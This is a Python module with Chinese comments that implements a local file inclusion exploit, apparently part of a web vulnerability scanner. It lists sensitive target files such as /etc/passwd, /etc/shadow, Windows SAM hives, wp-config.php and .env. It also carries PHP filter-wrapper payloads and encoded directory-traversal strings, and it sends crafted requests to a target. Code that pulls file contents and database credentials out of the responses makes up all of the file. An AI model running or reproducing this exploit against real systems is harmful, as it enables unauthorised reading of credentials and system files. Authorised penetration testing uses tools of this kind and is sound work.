#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
LFI（本地文件包含）漏洞利用模块
"""

import logging
import re
import urllib.parse
import random
import string
import base64

logger = logging.getLogger('xss_scanner')

class LFIExploit:
    """LFI漏洞利用类"""
    
    def __init__(self, http_client):
        """
        初始化LFI漏洞利用模块
        
        Args:
            http_client: HTTP客户端对象
        """
        self.http_client = http_client
        
        # 敏感文件列表
        self.sensitive_files = [
            # Linux系统文件
            "/etc/passwd",
            "/etc/shadow",
            "/etc/hosts",
            "/etc/issue",
            "/etc/group",
            "/etc/motd",
            "/proc/self/environ",
            "/proc/version",
            "/proc/cmdline",
            "/proc/sched_debug",
            "/proc/mounts",
            "/proc/net/tcp",
            "/proc/net/udp",
            "/proc/net/fib_trie",
            "/proc/net/route",
            
            # Windows系统文件
            "C:\\Windows\\system32\\drivers\\etc\\hosts",
            "C:\\Windows\\win.ini",
            "C:\\boot.ini",
            "C:\\Windows\\System32\\config\\SAM",
            "C:\\Windows\\repair\\SAM",
            "C:\\Windows\\System32\\config\\RegBack\\SAM",
            
            # Web服务器配置文件
            "/etc/httpd/conf/httpd.conf",
            "/etc/apache2/apache2.conf",
            "/etc/nginx/nginx.conf",
            "/usr/local/etc/nginx/nginx.conf",
            "/usr/local/nginx/conf/nginx.conf",
            
            # Web应用配置文件
            "/var/www/html/config.php",
            "/var/www/html/wp-config.php",
            "/var/www/html/configuration.php",
            "/var/www/config/config.ini",
            ".env",
            "web.config",
            "config.json",
            "settings.py",
            
            # 日志文件
            "/var/log/apache2/access.log",
            "/var/log/apache2/error.log",
            "/var/log/nginx/access.log",
            "/var/log/nginx/error.log",
            "/var/log/httpd/access_log",
            "/var/log/httpd/error_log",
            "/var/log/apache/access.log",
            "/var/log/apache/error.log",
            "/usr/local/apache/log/error_log",
            "/usr/local/apache2/log/error_log"
        ]
        
        # PHP封装器
        self.php_wrappers = [
            "php://filter/convert.base64-encode/resource=",
            "php://filter/read=convert.base64-encode/resource=",
            "phar://",
            "zip://",
            "data://text/plain;base64,"
        ]
        
        # 目录遍历模式
        self.traversal_patterns = [
            "../",
            "..\\",
            "..%2f",
            "..%5c",
            "%2e%2e%2f",
            "%2e%2e/",
            "..%252f",
            "%252e%252e%252f",
            "....//",
            "....\\\\",
            ".../",
            "...\\",
            "%c0%ae%c0%ae/",
            "%25c0%25ae%25c0%25ae/"
        ]
        
        # 常见参数名
        self.common_parameters = [
            "file", 
            "page", 
            "path", 
            "filepath", 
            "filename", 
            "load", 
            "include", 
            "require", 
            "doc",
            "document", 
            "folder", 
            "root", 
            "cont", 
            "content", 
            "layout",
            "mod", 
            "module", 
            "conf", 
            "config",
            "url", 
            "uri", 
            "source", 
            "src",
            "show", 
            "view", 
            "template"
        ]
        
    def exploit(self, vulnerability):
        """
        利用LFI漏洞
        
        Args:
            vulnerability: 漏洞信息
            
        Returns:
            dict: 利用结果
        """
        logger.info(f"尝试利用LFI漏洞: {vulnerability['url']}")
        
        url = vulnerability.get('url')
        parameter = vulnerability.get('parameter')
        payload = vulnerability.get('payload', '')
        
        if not url or not parameter:
            return {
                'success': False,
                'message': '缺少必要的漏洞信息(URL或参数名)',
                'data': None
            }
            
        # 尝试不同的敏感文件
        for file_path in self.sensitive_files[:10]:  # 只尝试前10个文件
            result = self._try_file_access(url, parameter, file_path)
            if result and result['success']:
                return result
                
        # 如果直接尝试失败，尝试使用PHP包装器（如果目标可能是PHP应用）
        for wrapper in self.php_wrappers[:3]:  # 只尝试前3个包装器
            for file_path in self.sensitive_files[:5]:  # 只尝试前5个文件
                result = self._try_wrapper_access(url, parameter, wrapper, file_path)
                if result and result['success']:
                    return result
                    
        # 如果直接访问和包装器都失败，尝试使用深度目录遍历
        for traversal in self.traversal_patterns[:5]:  # 只尝试前5个遍历模式
            # 尝试不同深度
            for depth in range(1, 11):  # 1到10层深度
                traversal_path = traversal * depth
                for file_path in self.sensitive_files[:3]:  # 只尝试前3个文件
                    result = self._try_traversal_access(url, parameter, traversal_path, file_path)
                    if result and result['success']:
                        return result
                        
        # 如果所有尝试都失败，返回失败结果
        return {
            'success': False,
            'message': '未能成功利用LFI漏洞',
            'data': None
        }
        
    def _try_file_access(self, url, parameter, file_path):
        """
        尝试直接访问文件
        
        Args:
            url: 目标URL
            parameter: 参数名
            file_path: 文件路径
            
        Returns:
            dict: 利用结果
        """
        try:
            logger.info(f"尝试访问文件: {file_path}")
            
            # 构建注入URL
            parsed_url = urllib.parse.urlparse(url)
            query_params = dict(urllib.parse.parse_qsl(parsed_url.query))
            query_params[parameter] = file_path
            
            # 重建查询字符串
            new_query = urllib.parse.urlencode(query_params)
            new_url = urllib.parse.urlunparse((
                parsed_url.scheme,
                parsed_url.netloc,
                parsed_url.path,
                parsed_url.params,
                new_query,
                parsed_url.fragment
            ))
            
            # 发送请求
            response = self.http_client.get(new_url)
            
            # 检查响应是否含有敏感文件内容
            if response and response.status_code == 200:
                file_content = self._extract_file_content(response.text, file_path)
                if file_content:
                    logger.info(f"成功读取文件: {file_path}")
                    return {
                        'success': True,
                        'message': f'成功利用LFI漏洞读取文件: {file_path}',
                        'data': {
                            'file_path': file_path,
                            'file_content': file_content[:1000] + ('...' if len(file_content) > 1000 else ''),
                            'full_content_length': len(file_content)
                        },
                        'poc': new_url
                    }
                    
        except Exception as e:
            logger.error(f"尝试访问文件时出错: {str(e)}")
            
        return None
        
    def _try_wrapper_access(self, url, parameter, wrapper, file_path):
        """
        尝试使用PHP包装器访问文件
        
        Args:
            url: 目标URL
            parameter: 参数名
            wrapper: PHP包装器
            file_path: 文件路径
            
        Returns:
            dict: 利用结果
        """
        try:
            payload = wrapper + file_path
            logger.info(f"尝试使用包装器访问文件: {payload}")
            
            # 构建注入URL
            parsed_url = urllib.parse.urlparse(url)
            query_params = dict(urllib.parse.parse_qsl(parsed_url.query))
            query_params[parameter] = payload
            
            # 重建查询字符串
            new_query = urllib.parse.urlencode(query_params)
            new_url = urllib.parse.urlunparse((
                parsed_url.scheme,
                parsed_url.netloc,
                parsed_url.path,
                parsed_url.params,
                new_query,
                parsed_url.fragment
            ))
            
            # 发送请求
            response = self.http_client.get(new_url)
            
            # 检查响应是否包含Base64编码内容
            if response and response.status_code == 200:
                # 检查是否包含Base64编码的内容
                base64_content = self._extract_base64_content(response.text)
                if base64_content:
                    try:
                        decoded_content = base64.b64decode(base64_content).decode('utf-8', errors='ignore')
                        logger.info(f"成功使用包装器读取文件: {file_path}")
                        return {
                            'success': True,
                            'message': f'成功利用LFI漏洞使用PHP包装器读取文件: {file_path}',
                            'data': {
                                'file_path': file_path,
                                'wrapper': wrapper,
                                'file_content': decoded_content[:1000] + ('...' if len(decoded_content) > 1000 else ''),
                                'full_content_length': len(decoded_content)
                            },
                            'poc': new_url
                        }
                    except Exception as e:
                        logger.error(f"Base64解码失败: {str(e)}")
                        
        except Exception as e:
            logger.error(f"尝试使用包装器访问文件时出错: {str(e)}")
            
        return None
        
    def _try_traversal_access(self, url, parameter, traversal_path, file_path):
        """
        尝试使用目录遍历访问文件
        
        Args:
            url: 目标URL
            parameter: 参数名
            traversal_path: 目录遍历路径
            file_path: 文件路径
            
        Returns:
            dict: 利用结果
        """
        try:
            # 处理绝对路径，只保留文件名
            if file_path.startswith('/'):
                file_name = file_path.split('/')[-1]
            elif file_path.startswith('C:\\') or file_path.startswith('C:/'):
                file_name = file_path.replace('\\', '/').split('/')[-1]
            else:
                file_name = file_path
                
            payload = traversal_path + file_name
            logger.info(f"尝试使用目录遍历访问文件: {payload}")
            
            # 构建注入URL
            parsed_url = urllib.parse.urlparse(url)
            query_params = dict(urllib.parse.parse_qsl(parsed_url.query))
            query_params[parameter] = payload
            
            # 重建查询字符串
            new_query = urllib.parse.urlencode(query_params)
            new_url = urllib.parse.urlunparse((
                parsed_url.scheme,
                parsed_url.netloc,
                parsed_url.path,
                parsed_url.params,
                new_query,
                parsed_url.fragment
            ))
            
            # 发送请求
            response = self.http_client.get(new_url)
            
            # 检查响应是否含有敏感文件内容
            if response and response.status_code == 200:
                file_content = self._extract_file_content(response.text, file_path)
                if file_content:
                    logger.info(f"成功使用目录遍历读取文件: {file_path}")
                    return {
                        'success': True,
                        'message': f'成功利用LFI漏洞使用目录遍历读取文件: {file_path}',
                        'data': {
                            'file_path': file_path,
                            'traversal_pattern': traversal_path,
                            'file_content': file_content[:1000] + ('...' if len(file_content) > 1000 else ''),
                            'full_content_length': len(file_content)
                        },
                        'poc': new_url
                    }
                    
        except Exception as e:
            logger.error(f"尝试使用目录遍历访问文件时出错: {str(e)}")
            
        return None
        
    def _extract_file_content(self, response_text, file_path):
        """
        从响应中提取文件内容
        
        Args:
            response_text: 响应文本
            file_path: 尝试访问的文件路径
            
        Returns:
            str: 提取的文件内容，如果未找到返回None
        """
        # 根据文件类型识别特征
        if '/etc/passwd' in file_path:
            # 查找/etc/passwd文件特征
            if re.search(r"root:.*:0:0:", response_text):
                # 提取完整的passwd文件内容
                passwd_lines = re.findall(r"([a-z_][a-z0-9_-]*:[^:]*:[0-9]*:[0-9]*:[^:]*:[^:]*:[^\n]*)", response_text)
                if passwd_lines:
                    return "\n".join(passwd_lines)
                    
        elif '/etc/hosts' in file_path:
            # 查找/etc/hosts文件特征
            if re.search(r"127\.0\.0\.1\s+localhost", response_text):
                # 提取完整的hosts文件内容
                hosts_content = re.search(r"(127\.0\.0\.1\s+localhost.*?)(</|\n\n|$)", response_text, re.DOTALL)
                if hosts_content:
                    return hosts_content.group(1)
                    
        elif 'win.ini' in file_path.lower():
            # 查找win.ini文件特征
            if re.search(r"\[fonts\]|\[extensions\]", response_text, re.IGNORECASE):
                # 提取完整的win.ini文件内容
                win_ini_content = re.search(r"(\[fonts\].*?)(</|\n\n|$)", response_text, re.DOTALL | re.IGNORECASE)
                if win_ini_content:
                    return win_ini_content.group(1)
                    
        elif 'httpd.conf' in file_path or 'apache' in file_path:
            # 查找Apache配置文件特征
            if re.search(r"<VirtualHost|ServerName|DocumentRoot", response_text):
                # 提取配置文件片段
                apache_content = re.search(r"(ServerName.*?|<VirtualHost.*?|DocumentRoot.*?)(</|\n\n|$)", response_text, re.DOTALL)
                if apache_content:
                    return apache_content.group(1)
                    
        elif 'nginx.conf' in file_path:
            # 查找Nginx配置文件特征
            if re.search(r"server\s*{|http\s*{|location\s*", response_text):
                # 提取配置文件片段
                nginx_content = re.search(r"(server\s*{.*?|http\s*{.*?)(</|\n\n|$)", response_text, re.DOTALL)
                if nginx_content:
                    return nginx_content.group(1)
                    
        elif '.php' in file_path:
            # 查找PHP文件特征
            if re.search(r"<\?php|DB_|PASSWORD|HOST|USER", response_text, re.IGNORECASE):
                # 提取PHP代码片段
                php_content = re.search(r"(<\?php.*?\?>|define\s*\(\s*['\"](DB_|HOST|USER|PASSWORD).*?;)", response_text, re.DOTALL | re.IGNORECASE)
                if php_content:
                    return php_content.group(1)
                    
        elif '.log' in file_path:
            # 查找日志文件特征
            if re.search(r"\[\d{2}/\w{3}/\d{4}.*?\]|\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", response_text):
                # 提取日志条目
                log_entries = re.findall(r"(\[\d{2}/\w{3}/\d{4}.*?\].*?)\n", response_text)
                if log_entries:
                    return "\n".join(log_entries[:20]) + ("\n..." if len(log_entries) > 20 else "")
                    
        # 通用文件内容检测
        # 尝试根据文件类型的常见特征来判断是否成功读取到文件内容
        file_extension = file_path.split('.')[-1].lower() if '.' in file_path else ''
        
        if file_extension in ['txt', 'ini', 'conf', 'config', 'json', 'xml', 'yaml', 'yml']:
            # 检查是否包含文件结构特征
            if re.search(r"[\{\}\[\]=:\\><\n]", response_text) and len(response_text) > 20:
                # 返回前1000个字符作为文件内容
                return response_text[:1000]
                
        # 如果无法确定具体文件类型，但响应不是HTML格式，可能是成功的
        if not re.search(r"<!DOCTYPE html>|<html|<body|<head", response_text, re.IGNORECASE) and len(response_text) > 20:
            # 返回前1000个字符作为文件内容
            return response_text[:1000]
            
        return None
        
    def _extract_base64_content(self, response_text):
        """
        从响应中提取Base64编码内容
        
        Args:
            response_text: 响应文本
            
        Returns:
            str: 提取的Base64内容，如果未找到返回None
        """
        # 查找可能的Base64编码字符串
        base64_pattern = r"([A-Za-z0-9+/]{20,}={0,2})"
        matches = re.findall(base64_pattern, response_text)
        
        # 检查每个匹配项是否是有效的Base64编码
        for match in matches:
            try:
                # 尝试解码
                decoded = base64.b64decode(match).decode('utf-8', errors='ignore')
                
                # 检查解码后的内容是否包含敏感信息
                if (re.search(r"<\?php|root:|DOCTYPE|html|password=", decoded, re.IGNORECASE) and 
                    len(decoded) > 20):
                    return match
                    
            except Exception:
                continue
                
        return None 